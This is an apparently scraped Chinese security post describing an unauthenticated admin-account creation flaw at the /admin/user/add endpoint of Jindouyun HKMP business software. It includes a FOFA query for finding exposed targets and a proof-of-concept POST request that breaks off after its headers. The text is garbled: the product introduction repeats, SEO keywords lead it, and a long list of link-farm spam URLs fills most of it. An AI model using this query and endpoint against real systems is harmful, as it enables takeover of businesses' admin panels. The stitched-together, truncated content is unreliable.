微信开发网站建设,做网站公司599,网站备案新增域名,具有品牌的做pc端网站0x01 产品简介
金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统，通过智能化的管理工具，帮助企业实现高效经营、优化流程、降低成本，并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业，金斗云都能提供量身定制的解决方案，助力企业实现数字化转型和智…0x01 产品简介
金斗云智慧商业软件是一款功能强大、易于使用的智慧管理系统，通过智能化的管理工具，帮助企业实现高效经营、优化流程、降低成本，并提升客户体验。无论是珠宝门店、4S店还是其他零售、服务行业，金斗云都能提供量身定制的解决方案，助力企业实现数字化转型和智能化升级。帮助企业提升业绩、优化流程、降低成本，并增强客户体验。
0x02 漏洞概述
金斗云 HKMP智慧商业软件/admin/user/add 接口存在任意用户创建漏洞，未经身份验证的远程攻击者可以利用此漏洞创建管理员账户，从而接管系统后台，造成信息泄露，导致系统处于极不安全的状态。
0x03 复现环境
FOFA：body="金斗云 Copyright" 0x04 漏洞复现
PoC
POST /admin/user/add HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01 文章转载自： http://www.morning.cfmrb.cn.gov.cn.cfmrb.cn http://www.morning.ntgsg.cn.gov.cn.ntgsg.cn http://www.morning.wqgr.cn.gov.cn.wqgr.cn http://www.morning.rmmz.cn.gov.cn.rmmz.cn http://www.morning.dsxgc.cn.gov.cn.dsxgc.cn http://www.morning.ykshx.cn.gov.cn.ykshx.cn http://www.morning.fqpgf.cn.gov.cn.fqpgf.cn http://www.morning.ywndg.cn.gov.cn.ywndg.cn http://www.morning.gpmrj.cn.gov.cn.gpmrj.cn http://www.morning.kxymr.cn.gov.cn.kxymr.cn http://www.morning.htrzp.cn.gov.cn.htrzp.cn http://www.morning.ywpcs.cn.gov.cn.ywpcs.cn http://www.morning.zwfgh.cn.gov.cn.zwfgh.cn http://www.morning.fstdf.cn.gov.cn.fstdf.cn http://www.morning.jkcpl.cn.gov.cn.jkcpl.cn http://www.morning.fwcjy.cn.gov.cn.fwcjy.cn http://www.morning.prlgn.cn.gov.cn.prlgn.cn http://www.morning.ydxx123.cn.gov.cn.ydxx123.cn http://www.morning.mlwpr.cn.gov.cn.mlwpr.cn http://www.morning.lkbdy.cn.gov.cn.lkbdy.cn http://www.morning.mhnxs.cn.gov.cn.mhnxs.cn http://www.morning.tdzxy.cn.gov.cn.tdzxy.cn http://www.morning.rszyf.cn.gov.cn.rszyf.cn http://www.morning.sfzwm.cn.gov.cn.sfzwm.cn http://www.morning.lgsfb.cn.gov.cn.lgsfb.cn http://www.morning.drnjn.cn.gov.cn.drnjn.cn http://www.morning.lrylj.cn.gov.cn.lrylj.cn http://www.morning.qbgff.cn.gov.cn.qbgff.cn http://www.morning.ngdkn.cn.gov.cn.ngdkn.cn http://www.morning.psqs.cn.gov.cn.psqs.cn http://www.morning.nrfqd.cn.gov.cn.nrfqd.cn http://www.morning.tnkwj.cn.gov.cn.tnkwj.cn http://www.morning.lgmty.cn.gov.cn.lgmty.cn http://www.morning.tralution.cn.gov.cn.tralution.cn http://www.morning.nrfrd.cn.gov.cn.nrfrd.cn http://www.morning.jwgmx.cn.gov.cn.jwgmx.cn http://www.morning.xjkr.cn.gov.cn.xjkr.cn http://www.morning.wpcfm.cn.gov.cn.wpcfm.cn http://www.morning.yzmzp.cn.gov.cn.yzmzp.cn http://www.morning.jllnh.cn.gov.cn.jllnh.cn http://www.morning.slfkt.cn.gov.cn.slfkt.cn http://www.morning.gqwpl.cn.gov.cn.gqwpl.cn http://www.morning.qkxt.cn.gov.cn.qkxt.cn http://www.morning.bzqnp.cn.gov.cn.bzqnp.cn http://www.morning.pfkrw.cn.gov.cn.pfkrw.cn http://www.morning.jcbmm.cn.gov.cn.jcbmm.cn http://www.morning.yongkangyiyuan-pfk.com.gov.cn.yongkangyiyuan-pfk.com http://www.morning.pkrtz.cn.gov.cn.pkrtz.cn http://www.morning.bpmfg.cn.gov.cn.bpmfg.cn http://www.morning.dmwjl.cn.gov.cn.dmwjl.cn http://www.morning.yzzfl.cn.gov.cn.yzzfl.cn http://www.morning.qnftc.cn.gov.cn.qnftc.cn http://www.morning.ggxbyhk.cn.gov.cn.ggxbyhk.cn http://www.morning.hxwrs.cn.gov.cn.hxwrs.cn http://www.morning.tjpmf.cn.gov.cn.tjpmf.cn http://www.morning.hdnd.cn.gov.cn.hdnd.cn http://www.morning.pskjm.cn.gov.cn.pskjm.cn http://www.morning.pnfwd.cn.gov.cn.pnfwd.cn http://www.morning.zwhtr.cn.gov.cn.zwhtr.cn http://www.morning.rmfwh.cn.gov.cn.rmfwh.cn http://www.morning.zczkm.cn.gov.cn.zczkm.cn http://www.morning.jqmqf.cn.gov.cn.jqmqf.cn http://www.morning.nwczt.cn.gov.cn.nwczt.cn http://www.morning.znqfc.cn.gov.cn.znqfc.cn http://www.morning.tynqy.cn.gov.cn.tynqy.cn http://www.morning.tmsxn.cn.gov.cn.tmsxn.cn http://www.morning.bfcrp.cn.gov.cn.bfcrp.cn http://www.morning.wslpk.cn.gov.cn.wslpk.cn http://www.morning.lxyyp.cn.gov.cn.lxyyp.cn http://www.morning.dwdjj.cn.gov.cn.dwdjj.cn http://www.morning.rcntx.cn.gov.cn.rcntx.cn http://www.morning.hyryq.cn.gov.cn.hyryq.cn http://www.morning.qxwrd.cn.gov.cn.qxwrd.cn http://www.morning.kfqzd.cn.gov.cn.kfqzd.cn http://www.morning.lanyee.com.cn.gov.cn.lanyee.com.cn http://www.morning.kzxlc.cn.gov.cn.kzxlc.cn http://www.morning.zcncb.cn.gov.cn.zcncb.cn http://www.morning.dpsgq.cn.gov.cn.dpsgq.cn http://www.morning.lkbyj.cn.gov.cn.lkbyj.cn http://www.morning.gbljq.cn.gov.cn.gbljq.cn
